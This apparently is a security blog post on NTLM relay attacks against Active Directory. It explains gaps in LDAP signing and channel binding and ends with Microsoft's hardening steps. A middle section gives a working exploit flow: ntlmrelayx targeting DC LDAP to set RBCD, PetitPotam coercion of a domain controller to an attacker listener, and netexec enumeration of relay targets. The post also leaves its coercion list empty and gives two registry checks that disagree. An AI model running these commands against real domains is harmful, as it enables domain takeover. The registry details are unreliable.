Relay still wins: NTLM and LDAP coercion when Kerberos hardening is incomplete

NTLM relay attacks have been documented, discussed, and partially mitigated for over a decade. They still work in most enterprise environments in 2026. The reason is not that organisations have ignored the mitigations — it is that the mitigations are applied unevenly, and the attack surface is larger than a single control can address.

Microsoft's Kerberos hardening push (LDAP signing, channel binding, SMB signing, EPA) addresses specific relay vectors. Each control has specific scope. Environments that have applied some controls but not all retain exploitable relay paths — often without knowing it.

The relay path taxonomy

Coercion techniques

Relay requires an NTLM authentication to relay. Coercion techniques force a target (typically a server or domain controller machine account) to authenticate to an attacker-controlled listener:

LDAP signing and channel binding gaps

Microsoft's LDAP channel binding and signing requirements mandate enforcement on domain controllers as of 2025. The enforcement is DC-scoped. Gaps that remain:

1. Member servers with LDAP-integrated applications: applications that perform LDAP queries to DCs may have their own LDAP library configurations that bypass signing. These application-to-DC paths are still protected if DC enforcement is active, but the application server itself is a relay target if it is making NTLM-authenticated LDAP connections.

1. Legacy LDAP clients: some monitoring, HR, and identity management applications use LDAP with NTLM authentication and cannot be updated to use Kerberos or certificate-based LDAP authentication. These create a persistent NTLM-over-LDAP surface.

1. Cross-forest LDAP trust paths: LDAP queries across trusts may fall back to NTLM. Channel binding enforcement in one forest does not extend to NTLM relay against the other.

1. LDAP/S but no channel binding: LDAPS (LDAP over TLS) prevents credential interception but does not prevent relay unless channel binding is also enforced. A relay attack against LDAPS without channel binding succeeds.

Practical exploit flow: coerce to relay to RBCD

If LDAP signing is not enforced on DCs (verify with ldap_server_require_strong_auth in the DC registry — value 1 = signing required), the flow from coercion to domain escalation:

# Step 1: Start ntlmrelayx targeting DC LDAP -- configure to set RBCD on target
ntlmrelayx.py -t ldap://dc01.domain.local --delegate-access --escalate-user lowpriv

# Step 2: Coerce DC machine account to authenticate to attacker listener
# (PetitPotam example -- verify applicability in scope environment)
python3 PetitPotam.py -u '' -p '' attacker_ip dc01.domain.local

# Step 3: ntlmrelayx receives DC$ NTLM auth, relays to LDAP, sets RBCD:
# msDS-AllowedToActOnBehalfOfOtherIdentity on DC01 = lowpriv
# (lowpriv can now S4U2Self+S4U2Proxy to obtain a TGS to DC01 as any domain user)

# Step 4: Use Rubeus or impacket s4u for RBCD exploitation
# (see Kerberos delegation post for step-by-step)

Checking enforcement status on a foothold

# Check LDAP signing enforcement on DC (run on DC or via remote registry)
Get-ItemProperty "HKLM:\System\CurrentControlSet\Services\NTDS\Parameters" |
    Select-Object "LDAPServerIntegrity"
# 0 = disabled, 1 = optional (signing offered but not required), 2 = required

# Check for SMB signing on hosts in scope
# (from a Linux attacker host, use netexec / crackmapexec)
# netexec smb 10.0.0.0/24 --gen-relay-list relay_targets.txt
# Outputs hosts where SMB signing is NOT enforced -- valid relay targets

# Check if Print Spooler is running on DCs
Get-Service Spooler -ComputerName dc01 | Select-Object Status

Microsoft's hardening path

Microsoft's guidance for eliminating NTLM relay:

1. LDAP signing + channel binding: enforce on all DCs (2025 mandate) and audit third-party LDAP clients
2. SMB signing: enforce domain-wide via GPO (Microsoft network server: Digitally sign communications (always))
3. EPA on HTTP services: IIS sites hosting AD CS enrollment, Exchange, and other NTLM-authenticated HTTP services
4. Disable NTLM where possible: NTLM authentication can be blocked by protocol for specific services via security policies; Kerberos-only mode is achievable for many services
5. Disable unnecessary coercion surfaces: Print Spooler, VSS Agent, DFSNM — services that expose coercion vectors should be disabled on DCs and tier-0 servers

The order matters. Disabling NTLM on DCs while leaving SMB relay paths open on member servers moves the finding without closing it. Comprehensive relay hardening requires all controls applied across all tiers.